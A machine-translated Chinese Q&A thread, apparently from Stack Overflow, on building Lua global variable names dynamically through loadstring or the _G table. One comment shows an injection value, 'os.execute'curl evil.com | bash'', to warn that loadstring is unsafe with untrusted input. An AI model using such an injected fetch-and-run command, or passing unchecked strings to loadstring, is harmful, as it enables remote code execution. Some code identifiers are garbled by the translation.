变量引用中的Lua字符串
有没有办法用字符串“连接”变量引用变量引用中的Lua字符串,lua,Lua,有没有办法用字符串“连接”变量引用 fat_greek_wedding = 0; nationality = "greek"; "fat_" .. nationality .. "_wedding" = 1; -- fat_greek_wedding == 1 或者类似于: fat_greek_wedding = 0; nationality = "greek"; fat_(nationality)_wedding = 1; -- fat_greek_wedding == 1 仅供参考,
fat_greek_wedding = 0;
nationality = "greek";
"fat_" .. nationality .. "_wedding" = 1; -- fat_greek_wedding == 1
或者类似于:
fat_greek_wedding = 0;
nationality = "greek";
fat_(nationality)_wedding = 1; -- fat_greek_wedding == 1
仅供参考,我正在为使用Lua的Unified Remote编写代码:试试这个:
loadstring("fat_"..nationality.."_wedding = 1")()
全局变量或结构字段只是某个表的元素,变量的名称是该表中的文本键 如果该
fat\u-green\u-widding
是一个全局变量,则可以如下方式访问它:
fat_greek_wedding = 0;
nationality = "greek";
_G["fat_" .. nationality .. "_wedding"] = 1;
在这里,您可以显式地访问全局环境,通过在运行时构造的名称更改/创建元素。事实上,这与运行
fat\u-greek\u-widding=1是一样的,遗憾的是没有,但我确实在loadstring中学到了一些东西。任何原因“_wedding=1”是双引号中的一部分?与“\u wedding”=1”相反,本例加载并运行新脚本,脚本主体为“fat\u wedding=1”
。整个字符串是脚本的主体,因此=1
部分必须出现在字符串中。这可能是不安全的(如果变量名组件恰好是“=0;os.execute'curl evil.com | bash'
),并且比正确的方法(使用\u G
)效率要低得多。@没有人是的,你是对的。但我认为,在这种情况下,当他手动初始化国籍
变量时,这并不是不安全的。@R.Gadeev是的,但其他人会通过谷歌搜索发现这一点,在他们的情况下,这可能很重要,因此,提醒您考虑一下这一点&验证插入的字符串似乎已经足够了。我的意思是要记住,\u G
表并不是在所有版本的Lua中都存在。我查看了git repo,他们引用了Lua 5.1的文档,所以在这种特殊情况下,@HenriMenke\u G
是标准的,因为(至少)这是按名称访问全局变量的标准方法。(这是Lua编程的一个例子。)如果下面的答案有助于您接受它。